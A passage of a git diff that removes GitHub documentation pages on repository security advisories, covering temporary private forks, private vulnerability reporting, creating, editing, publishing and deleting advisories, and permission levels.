/code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability - - /code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability - - /code-security/security-advisories/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Security advisories - - Vulnerabilities - - Collaboration - - Forks -shortTitle: Temporary private forks ---- - -{% data reusables.security-advisory.repository-level-advisory-note %} - -## Prerequisites - -Before you can collaborate in a temporary private fork, you must create a draft security advisory. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/creating-a-repository-security-advisory). - -## Creating a temporary private fork - -To keep information about vulnerabilities secure, integrations, including CI, cannot access temporary private forks. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.sidebar-advisories %} -1. In the "Security Advisories" list, click the name of the security advisory you'd like to create a temporary private fork in. -1. Scroll to the bottom of the advisory form and click **Start a temporary private fork**. - - ![Screenshot of the "Collaborate on a patch in private" area of the form. The "Start a temporary private fork" button is outlined in dark orange.](/assets/images/help/security/new-temporary-private-fork-button.png) - - A private fork of the repository is created and shown on the advisory page. - - The naming convention for the private fork is very similar to the convention used for advisories in the {% data variables.product.prodname_advisory_database %} and follows this format: `repo-ghsa-xxxx-xxxx-xxxx`, where: - * `repo` is the name of the repository. To stay under the 100 character limit on repository names, we truncate the original repository's name to 80 characters. - * `xxxx-xxxx-xxxx` is the unique identifier of the draft security advisory: - * `x` is a letter or a number from the following set: `23456789cfghjmpqrvwx`. - * The numbers and letters are randomly assigned. - * All letters and numbers are lowercase. - -For example, if you create a temporary private fork in a repository called `octocat-repo`, and the automatically generated ID for the draft advisory is `GHSA-x854-cvjg-vx26`, the temporary fork will be called `octocat-repo-ghsa-x854-cvjg-vx26`. - -You can also use the REST API to create temporary private forks. For more information, see [Create a temporary private fork](/rest/security-advisories/repository-advisories#create-a-temporary-private-fork) in the REST API documentation. - -## Adding collaborators to a temporary private fork - -Anyone with admin permissions to a security advisory can add additional collaborators to the security advisory, and collaborators on the security advisory can access the temporary private fork. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory). - -## Adding changes to a temporary private fork - -Anyone with write permissions to a security advisory can collaborate on a patch by committing changes to a temporary private fork. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.sidebar-advisories %} -1. In the "Security Advisories" list, click the name of the security advisory you'd like to work on. -1. You can make your changes on {% data variables.product.github %} or locally: - * To make your changes on {% data variables.product.github %}, under "Collaborate on a patch", click **the temporary private fork**. Then, create a new branch and edit files. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository) and [AUTOTITLE](/repositories/working-with-files/managing-files/editing-files). - * To add changes locally, follow the instructions under "Clone and create a new branch" and "Make your changes, then push." - - ![Screenshot of the "Collaborate on a patch" area of a draft security advisory. The "the temporary private fork" link is outlined in dark orange.](/assets/images/help/security/add-changes-to-this-advisory-box.png) - -## Creating a pull request from a temporary private fork - -Anyone with write permissions to a security advisory can create a pull request from a temporary private fork. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.sidebar-advisories %} -1. In the "Security Advisories" list, click the name of the security advisory you'd like to create a pull request in. -1. Scroll to the bottom of the advisory form. Then, under "Collaborate on a patch", click **Compare & pull request** to create a pull request for the associated branch. - - ![Screenshot of the "Collaborate on a patch" area of a draft security advisory. The "Compare & pull request" button is outlined in dark orange.](/assets/images/help/security/security-advisory-compare-and-pr.png) - The "Open a pull request" includes a header showing the branches that will be compared in a three-dot Git diff comparison when the pull request is created. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests#three-dot-and-two-dot-git-diff-comparisons). -{% data reusables.repositories.create-pull-request %} - -{% data reusables.repositories.merge-all-pulls-together %} For more information, see [Merging changes in a security advisory](#merging-changes-in-a-security-advisory). - -## Merging changes in a security advisory - -Anyone with admin permissions to a security advisory can merge changes in a security advisory. - -{% data reusables.repositories.merge-all-pulls-together %} - -Before you can merge changes in a security advisory, every open pull request in the temporary private fork must be mergeable. To keep information about vulnerabilities secure, status checks do not run on pull requests in temporary private forks. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches). - -Additionally, there can be no merge conflicts, and {% data variables.product.prodname_dotcom %} won't enforce any of the protection rules that you may have set up for the branch you're trying to merge the changes in to. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.sidebar-advisories %} -1. In the "Security Advisories" list, click the name of the security advisory with changes that you'd like to merge. -1. Scroll to the bottom of the advisory form. Then, under "This advisory is ready to be merged", click **Merge pull request(s)** to merge all open pull requests in the temporary private fork. - - ![Screenshot of the "Collaborate on a patch" area of a draft security advisory. The "Merge pull requests" button is outlined in dark orange.](/assets/images/help/security/merge-pull-requests-button.png) - - > [!NOTE] - > You can only merge one pull request into the `main` branch of a temporary private fork. If more than one pull request targets the `main` branch, merging is blocked. - -After you merge changes in a security advisory, you can publish the security advisory to alert your community about the security vulnerability in previous versions of your project. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/publishing-a-repository-security-advisory). - -## Further reading - -* [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/permission-levels-for-repository-security-advisories) -* [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/publishing-a-repository-security-advisory) diff --git a/content/code-security/security-advisories/working-with-repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository.md b/content/code-security/security-advisories/working-with-repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository.md deleted file mode 100644 index 586ccbb236fc..000000000000 --- a/content/code-security/security-advisories/working-with-repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository.md +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Configuring private vulnerability reporting for a repository -intro: Owners and administrators of public repositories can allow security researchers to report vulnerabilities securely in the repository by enabling private vulnerability reporting. -permissions: '{% data reusables.permissions.security-repo-enable %}' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Security advisories - - Vulnerabilities -shortTitle: Configure for a repository -redirect_from: - - /code-security/security-advisories/repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository ---- - -## About privately reporting a security vulnerability - -Security researchers often feel responsible for alerting users to a vulnerability that could be exploited. If there are no clear instructions about contacting maintainers of the repository containing the vulnerability, security researchers may have no other choice but to post about the vulnerability on social media, send direct messages to the maintainer, or even create public issues. This situation can potentially lead to a public disclosure of the vulnerability details. - -{% data reusables.security-advisory.private-vulnerability-reporting-overview %} - -For maintainers, the benefits of using private vulnerability reporting are: -{% data reusables.security-advisory.private-vulnerability-reporting-benefits %} - -The instructions in this article refer to enablement at repository level. For information about enabling the feature at organization level, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/configuring-private-vulnerability-reporting-for-an-organization). - -## Enabling or disabling private vulnerability reporting for a repository - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -1. Under "{% data variables.product.UI_advanced_security %}", to the right of "Private vulnerability reporting", click **Enable** or **Disable**, to enable or disable the feature, respectively. - ![Screenshot of the "Code security and analysis" page, showing the "Private vulnerability reporting" setting. The "Enable" button is outlined in orange.](/assets/images/help/security/private-vulnerability-reporting-enable-or-disable-repo.png) - -{% data reusables.security-advisory.private-vulnerability-reporting-security-researcher %} - -{% data reusables.security-advisory.private-vulnerability-api %} - -## Configuring notifications for private vulnerability reporting - -{% data reusables.security-advisory.private-vulnerability-reporting-configure-notifications %} - -Notifications depend on the user's notification preferences. You will receive an email notification if: -* You are watching the repository. -* You have enabled notifications for "All Activity". -* In your notification settings, under "Subscriptions", then under "Watching", you have selected to receive notifications by email. - -{% data reusables.repositories.navigate-to-repo %} -1. To start watching the repository, select **{% octicon "eye" aria-hidden="true" %} Watch**. - - ![Screenshot of the repository's main page. A dropdown menu, titled "Watch", is highlighted with an orange outline.](/assets/images/help/repository/repository-watch-dropdown.png) - -1. In the dropdown menu, click **All Activity**. -1. Navigate to the notification settings for your personal account. These are available at [https://github.com/settings/notifications](https://github.com/settings/notifications). -1. On your notification settings page, under "Subscriptions," then under "Watching," select the **Notify me** dropdown. -1. Select "Email" as a notification option, then click **Save**. - - ![Screenshot of the notification settings for a user account. Under "Subscriptions" and "Watching" a checkbox, titled "Email", is outlined in orange.](/assets/images/help/notifications/repository-watching-notification-options.png) - -{% data reusables.notifications.watch-settings %} diff --git a/content/code-security/security-advisories/working-with-repository-security-advisories/configuring-private-vulnerability-reporting-for-an-organization.md b/content/code-security/security-advisories/working-with-repository-security-advisories/configuring-private-vulnerability-reporting-for-an-organization.md deleted file mode 100644 index 7d46e8fb726c..000000000000 --- a/content/code-security/security-advisories/working-with-repository-security-advisories/configuring-private-vulnerability-reporting-for-an-organization.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Configuring private vulnerability reporting for an organization -intro: Organization owners and security managers can allow security researchers to report vulnerabilities securely in repositories within the organization by enabling private vulnerability reporting for all its public repositories. -permissions: '{% data reusables.permissions.security-org-enable %}' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Security advisories - - Vulnerabilities -shortTitle: Configure for an organization -redirect_from: - - /code-security/security-advisories/repository-security-advisories/configuring-private-vulnerability-reporting-for-an-organization ---- - -## About privately reporting a security vulnerability - -Security researchers often feel responsible for alerting users to a vulnerability that could be exploited. If there are no clear instructions about contacting maintainers of the repository containing the vulnerability, security researchers may have no other choice but to post about the vulnerability on social media, send direct messages to the maintainer, or even create public issues. This situation can potentially lead to a public disclosure of the vulnerability details. - -{% data reusables.security-advisory.private-vulnerability-reporting-overview %} - -For organization owners and security managers, the benefits of using private vulnerability reporting are: -{% data reusables.security-advisory.private-vulnerability-reporting-benefits %} - -The instructions below refer to enablement at organization level. For information about enabling the feature for a repository, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository). - -{% data reusables.security-advisory.private-vulnerability-reporting-configure-notifications %} - -For more information about configuring notification preferences, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository#configuring-notifications-for-private-vulnerability-reporting). - -## Enabling or disabling private vulnerability reporting for public repositories added to the organization - -You can enable or disable private vulnerability reporting for new public repositories added to the organization using the {% data variables.product.prodname_github_security_configuration %}, or you can create a {% data variables.product.prodname_custom_security_configuration %}. For more information, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/applying-the-github-recommended-security-configuration-in-your-organization) and [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/creating-a-custom-security-configuration). - -## What having private vulnerability reporting enabled for a repository looks like for a security researcher - -{% data reusables.security-advisory.private-vulnerability-reporting-security-researcher %} - -{% data reusables.security-advisory.private-vulnerability-api %} diff --git a/content/code-security/security-advisories/working-with-repository-security-advisories/creating-a-repository-security-advisory.md b/content/code-security/security-advisories/working-with-repository-security-advisories/creating-a-repository-security-advisory.md deleted file mode 100644 index e89807bd8caa..000000000000 --- a/content/code-security/security-advisories/working-with-repository-security-advisories/creating-a-repository-security-advisory.md +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: Creating a repository security advisory -intro: You can create a draft security advisory to privately discuss and fix a security vulnerability in your open source project. -permissions: '{% data reusables.permissions.security-repo-enable %}' -redirect_from: - - /articles/creating-a-maintainer-security-advisory - - /github/managing-security-vulnerabilities/creating-a-maintainer-security-advisory - - /github/managing-security-vulnerabilities/creating-a-security-advisory - - /code-security/security-advisories/creating-a-security-advisory - - /code-security/repository-security-advisories/creating-a-repository-security-advisory - - /code-security/security-advisories/repository-security-advisories/creating-a-repository-security-advisory -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Security advisories - - Vulnerabilities -shortTitle: Create repository advisories ---- - -{% data reusables.security-advisory.security-researcher-cannot-create-advisory %} - -## Creating a security advisory - -{% ifversion repository-security-advisories-API %} -You can also use the REST API to create repository security advisories. For more information, see [AUTOTITLE](/rest/security-advisories/repository-advisories). -{% endif %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.sidebar-advisories %} -1. Click **New draft security advisory** to open the draft advisory form. The fields marked with an asterisk are required. -1. In the **Title** field, type a title for your security advisory. -{% data reusables.repositories.security-advisory-edit-cve %} -{% data reusables.repositories.security-advisory-edit-description %} -{% data reusables.repositories.security-advisory-edit-details %} -{% data reusables.repositories.security-advisory-edit-severity %} -{% data reusables.repositories.security-advisory-edit-cwe %} -1. Optionally, under "Credits", add credits by searching for a {% data variables.product.prodname_dotcom %} username, the email address associated with their {% data variables.product.prodname_dotcom %} account, or their full name. -{% ifversion security-advisories-credit-types %} - * Use the dropdown menu next to the name of the person you're crediting to assign a credit type. For more information about credit types, see the [About credits for repository security advisories](#about-credits-for-repository-security-advisories) section. - - ![Screenshot of a draft security advisory. A dropdown menu, labeled "Choose a credit type," is highlighted with an orange outline.](/assets/images/help/security/security-advisories-choose-credit-type.png) - - * Optionally, to remove someone, click {% octicon "x" aria-label="The icon to remove someone's credit" %} next to the credit type.{% endif %} -1. Click **Create draft security advisory**. - -{% data reusables.repositories.security-advisory-credits-notification %} - -### About credits for repository security advisories - -You can credit people who helped discover, report, or fix a security vulnerability. If you credit someone, they can choose to accept or decline credit. - -{% ifversion security-advisories-credit-types %} - -You can assign different types of credit to people. - -| Credit type | Reason | -|-----------------------|--------------------------------------------------------------------------------------------| -| Finder | Identifies the vulnerability | -| Reporter | Notifies the vendor of the vulnerability to a CNA | -| Analyst | Validates the vulnerability to ensure accuracy or severity | -| Coordinator | Facilitates the coordinated response process | -| Remediation developer | Prepares a code change or other remediation plans | -| Remediation reviewer | Reviews vulnerability remediation plans or code changes for effectiveness and completeness | -| Remediation verifier | Tests and verifies the vulnerability or its remediation | -| Tool | Names of tools used in vulnerability discovery or identification | -| Sponsor | Supports the vulnerability identification or remediation activities | - -{% endif %} - -If someone accepts credit, the person's username appears in the "Credits" section of the security advisory. Anyone with read access to the repository can see the advisory and the people who accepted credit for it. - -> [!NOTE] -> If you believe you should be credited for a security advisory, please contact the creator of the advisory and to ask for the advisory to be edited to include your credit. Only the creator of the advisory can credit you, so please don't contact {% data variables.product.company_short %} Support about credits for security advisories. - -## Next steps - -* Comment on the draft security advisory to discuss the vulnerability with your team. -* Add collaborators to the security advisory. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory). -* Privately collaborate to fix the vulnerability in a temporary private fork. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability). -* Add individuals who should receive credit for contributing to the security advisory. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/editing-a-repository-security-advisory#about-credits-for-security-advisories). -* Publish the security advisory to notify your community of the security vulnerability. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/publishing-a-repository-security-advisory). diff --git a/content/code-security/security-advisories/working-with-repository-security-advisories/deleting-a-repository-security-advisory.md b/content/code-security/security-advisories/working-with-repository-security-advisories/deleting-a-repository-security-advisory.md deleted file mode 100644 index 2c7ccc8c00b7..000000000000 --- a/content/code-security/security-advisories/working-with-repository-security-advisories/deleting-a-repository-security-advisory.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Deleting a repository security advisory -intro: You can delete a repository security advisory that you've published by contacting Support. -permissions: 'Repository owners, organization owners, security managers, and users with the **admin** role can contact {% data variables.contact.github_support %} to delete a published security advisory.' -redirect_from: - - /github/managing-security-vulnerabilities/withdrawing-a-security-advisory - - /code-security/security-advisories/withdrawing-a-security-advisory - - /code-security/repository-security-advisories/withdrawing-a-repository-security-advisory - - /code-security/security-advisories/repository-security-advisories/withdrawing-a-repository-security-advisory - - /code-security/security-advisories/working-with-repository-security-advisories/withdrawing-a-repository-security-advisory -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Security advisories - - Vulnerabilities -shortTitle: Delete repository advisories ---- - -{% data reusables.security-advisory.repository-level-advisory-note %} - -If you publish a security advisory in error, you can delete the security advisory by contacting {% data variables.contact.contact_support %}. - -## Further reading - -* [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/editing-a-repository-security-advisory) diff --git a/content/code-security/security-advisories/working-with-repository-security-advisories/editing-a-repository-security-advisory.md b/content/code-security/security-advisories/working-with-repository-security-advisories/editing-a-repository-security-advisory.md deleted file mode 100644 index 48a3560ebff0..000000000000 --- a/content/code-security/security-advisories/working-with-repository-security-advisories/editing-a-repository-security-advisory.md +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Editing a repository security advisory -intro: You can edit the metadata and description for a repository security advisory if you need to update details or correct errors. -permissions: '{% data reusables.permissions.security-repo-enable %}' -redirect_from: - - /github/managing-security-vulnerabilities/editing-a-security-advisory - - /code-security/security-advisories/editing-a-security-advisory - - /code-security/repository-security-advisories/editing-a-repository-security-advisory - - /code-security/security-advisories/repository-security-advisories/editing-a-repository-security-advisory -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Security advisories - - Vulnerabilities -shortTitle: Edit repository advisories ---- - -{% data reusables.security-advisory.repository-level-advisory-note %} - -## Editing a security advisory - -{% ifversion repository-security-advisories-API %} -You can also use the REST API to edit repository security advisories. For more information, see [AUTOTITLE](/rest/security-advisories/repository-advisories). -{% endif %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.sidebar-advisories %} -1. In the "Security Advisories" list, click the name of the security advisory you'd like to edit. -1. In the upper-right corner of the details for the security advisory, click **Edit advisory**. This will open the security advisory form in edit mode. -{% data reusables.repositories.security-advisory-edit-cve %} -{% data reusables.repositories.security-advisory-edit-description %} -{% data reusables.repositories.security-advisory-edit-details %} -{% data reusables.repositories.security-advisory-edit-severity %} -{% data reusables.repositories.security-advisory-edit-cwe %} -1. Optionally, under "Credits", remove existing credits, or use the search box to find additional people you want to credit on the security advisory, then click their username to add them. -{% ifversion security-advisories-credit-types %} - * Use the dropdown menu next to the name of the person you're crediting to assign a credit type. For more information about credit types, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/creating-a-repository-security-advisory#about-credits-for-repository-security-advisories). - - ![Screenshot of a draft security advisory. A dropdown menu, labeled "Choose a credit type," is highlighted with an orange outline.](/assets/images/help/security/security-advisories-choose-credit-type.png) - - * Optionally, to remove someone, click the {% octicon "x" aria-label="The icon to remove a credit to someone" %} next to the credit type.{% endif %} -1. Click **Update security advisory**. - -{% data reusables.repositories.security-advisory-credits-notification %} - -## Further reading - -* [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/deleting-a-repository-security-advisory) diff --git a/content/code-security/security-advisories/working-with-repository-security-advisories/evaluating-the-security-settings-of-a-repository.md b/content/code-security/security-advisories/working-with-repository-security-advisories/evaluating-the-security-settings-of-a-repository.md deleted file mode 100644 index bc76dc6e0bbb..000000000000 --- a/content/code-security/security-advisories/working-with-repository-security-advisories/evaluating-the-security-settings-of-a-repository.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Evaluating the security settings of a repository -intro: Security researchers can assess the security settings of a public repository, suggest a security policy and report a vulnerability. -permissions: '{% data reusables.permissions.repository-security-advisory-evaluate %}' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Security advisories - - Vulnerabilities -shortTitle: Evaluate repository security -redirect_from: - - /code-security/security-advisories/repository-security-advisories/evaluating-the-security-settings-of-a-repository ---- - -## About evaluating a repository's security settings - -Evaluating a public repository's security settings can help security researchers understand the repository's security posture. This information can help you decide whether to engage with the repository maintainers, for example, by reporting a vulnerability in the repository. - -If a repository is public, high level information about the repository's security settings is available to anyone. For example, you can see whether the repository has a security policy, and whether private vulnerability reporting is enabled. You can also view published and closed security advisories for the repository. If no security policy is associated with a repository, you can suggest one. If the repository has private vulnerability reporting enabled, you can privately report security vulnerabilities directly to repository maintainers. - -If you have admin permissions to the repository, and the repository is owned by an organization, you can see more detailed information about the repository's security settings through the security overview. For more information on the security overview, see [AUTOTITLE](/enterprise-cloud@latest/code-security/security-overview/about-security-overview){% ifversion ghec %}."{% else %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %} - - If a repository is private, you can only see the security settings if you have admin permissions to the repository or have been granted special security permissions covering the repository, for example, as an organization-wide security manager. - -If you would like to evaluate the security posture of repositories at scale, you can use the API to check whether or not some security settings are enabled for repositories, such as private vulnerability reporting. For more information, see [AUTOTITLE](/rest/repos/repos#check-if-private-vulnerability-reporting-is-enabled-for-a-repository). - -## Suggesting a security policy for a repository - - If you do not have admin or security permissions for a public repository, you can still suggest a security policy to the repository maintainers if one doesn't already exist. The repository maintainers can then choose to accept or reject your suggestion. If the repository maintainers accept your suggestion, the security policy will be associated with the repository. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -1. If the repository has a security policy, it will be displayed. If no security policy is associated with the repository, click **Suggest a policy**. -1. A SECURITY.md file will be created in the repository's default branch. The file will contain a template for a security policy. You can edit the file to add your suggested security policy. -1. When you are done, click **Commit changes**. -1. Fill out the **Commit changes** dialog. - * Under "Commit message", enter a commit message. - * Optionally, under "Extended description", describe the changes being made. - * Select "Create a new branch for this commit and start a pull request" - * Click **Commit changes**. -1. Click **Create pull request**. -1. Optionally, leave a comment. -1. Click **Create pull request**. - -## Reporting a vulnerability in a repository - -If you do not have admin or security permissions for a public repository, you can still privately report a security vulnerability to repository maintainers if private vulnerability reporting is enabled. The repository maintainers can then choose to accept or reject your report. If the repository maintainers accept your report, a security advisory will be created for the repository. - -{% data reusables.security-advisory.private-vulnerability-reporting-disabled %} - -{% data reusables.security-advisory.reporting-a-vulnerability-non-admin %} diff --git a/content/code-security/security-advisories/working-with-repository-security-advisories/index.md b/content/code-security/security-advisories/working-with-repository-security-advisories/index.md deleted file mode 100644 index b391f0fa8f54..000000000000 --- a/content/code-security/security-advisories/working-with-repository-security-advisories/index.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Working with repository security advisories -shortTitle: Repository security advisories -intro: 'Discuss, fix, and disclose security vulnerabilities in your public repositories using repository security advisories.' -redirect_from: - - /articles/managing-security-vulnerabilities-in-your-project - - /github/managing-security-vulnerabilities/managing-security-vulnerabilities-in-your-project - - /code-security/repository-security-advisories - - /code-security/security-advisories/repository-security-advisories -versions: - fpt: '*' - ghec: '*' -topics: - - Security advisories - - Vulnerabilities - - Repositories - - CVEs -children: - - /about-repository-security-advisories - - /permission-levels-for-repository-security-advisories - - /configuring-private-vulnerability-reporting-for-a-repository - - /configuring-private-vulnerability-reporting-for-an-organization - - /creating-a-repository-security-advisory - - /editing-a-repository-security-advisory - - /evaluating-the-security-settings-of-a-repository - - /collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability - - /publishing-a-repository-security-advisory - - /adding-a-collaborator-to-a-repository-security-advisory - - /removing-a-collaborator-from-a-repository-security-advisory - - /deleting-a-repository-security-advisory ---- diff --git a/content/code-security/security-advisories/working-with-repository-security-advisories/permission-levels-for-repository-security-advisories.md b/content/code-security/security-advisories/working-with-repository-security-advisories/permission-levels-for-repository-security-advisories.md deleted file mode 100644 index ce706b933421..000000000000 --- a/content/code-security/security-advisories/working-with-repository-security-advisories/permission-levels-for-repository-security-advisories.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Permission levels for repository security advisories -intro: The actions you can take in a repository security advisory depend on whether you have admin or write permissions to the security advisory. -redirect_from: - - /articles/permission-levels-for-maintainer-security-advisories - - /github/managing-security-vulnerabilities/permission-levels-for-maintainer-security-advisories - - /github/managing-security-vulnerabilities/permission-levels-for-security-advisories - - /code-security/security-advisories/permission-levels-for-security-advisories - - /code-security/repository-security-advisories/permission-levels-for-repository-security-advisories - - /code-security/security-advisories/repository-security-advisories/permission-levels-for-repository-security-advisories -versions: - fpt: '*' - ghec: '*' -type: reference -topics: - - Security advisories - - Vulnerabilities - - Permissions -shortTitle: Permission levels ---- - -## Permissions overview - -{% data reusables.repositories.security-advisory-admin-permissions %} - -Action | Write permissions | Admin permissions | ------- | ----------------- | ----------------- | -See a draft security advisory | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -Add collaborators to the security advisory (see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory)) | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -Edit and delete any comments in the security advisory | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -Create a temporary private fork in the security advisory (see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability)) | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -Add changes to a temporary private fork in the security advisory (see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability)) | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -Create pull requests in a temporary private fork (see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability)) | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -Merge changes in the security advisory (see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability)) | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -Add and edit metadata in the security advisory (see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/publishing-a-repository-security-advisory)) | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -Add and remove credits for a security advisory (see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/editing-a-repository-security-advisory)) | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -Close the draft security advisory | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -Publish the security advisory (see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/publishing-a-repository-security-advisory)) | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | - -### Permission differences for global security advisories - -Unlike repository security advisories, anyone can contribute to **global security advisories** in the {% data variables.product.prodname_advisory_database %} at [github.com/advisories](https://github.com/advisories). Edits to global advisories will not change or affect how the advisory appears on the repository. See [AUTOTITLE](/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/editing-security-advisories-in-the-github-advisory-database). - -## Further reading - -* [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory) -* [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability) -* [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory) -* [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/deleting-a-repository-security-advisory) diff --git a/content/code-security/security-advisories/working-with-repository-security-advisories/publishing-a-repository-security-advisory.md b/content/code-security/security-advisories/working-with-repository-security-advisories/publishing-a-repository-security-advisory.md deleted file mode 100644 index 6311f9f22c05..000000000000 --- a/content/code-security/security-advisories/working-with-repository-security-advisories/publishing-a-repository-security-advisory.md +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: Publishing a repository security advisory -intro: You can publish a security advisory to alert your community about a security vulnerability in your project. -permissions: '{% data reusables.permissions.security-repo-enable %}' -redirect_from: - - /articles/publishing-a-maintainer-security-advisory - - /github/managing-security-vulnerabilities/publishing-a-maintainer-security-advisory - - /github/managing-security-vulnerabilities/publishing-a-security-advisory - - /code-security/security-advisories/publishing-a-security-advisory - - /code-security/repository-security-advisories/publishing-a-repository-security-advisory - - /code-security/security-advisories/repository-security-advisories/publishing-a-repository-security-advisory -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Security advisories - - Vulnerabilities - - CVEs - - Repositories -shortTitle: Publish repository advisories ---- -<!--Marketing-LINK: From /features/security/software-supply-chain page "Publishing a security advisory".--> - -{% data reusables.security-advisory.repository-level-advisory-note %} - -## Prerequisites - -Before you can publish a security advisory or request a CVE identification number, you must create a draft security advisory and provide information about the versions of your project affected by the security vulnerability. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/creating-a-repository-security-advisory). - -If you've created a security advisory but haven't yet provided details about the versions of your project that the security vulnerability affects, you can edit the security advisory. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/editing-a-repository-security-advisory). - -## About publishing a security advisory - -When you publish a security advisory, you notify your community about the security vulnerability that the security advisory addresses. Publishing a security advisory makes it easier for your community to update package dependencies and research the impact of the security vulnerability. - -{% data reusables.repositories.security-advisories-republishing %} - -Before you publish a security advisory, you can privately collaborate to fix the vulnerability in a temporary private fork. For more information, see 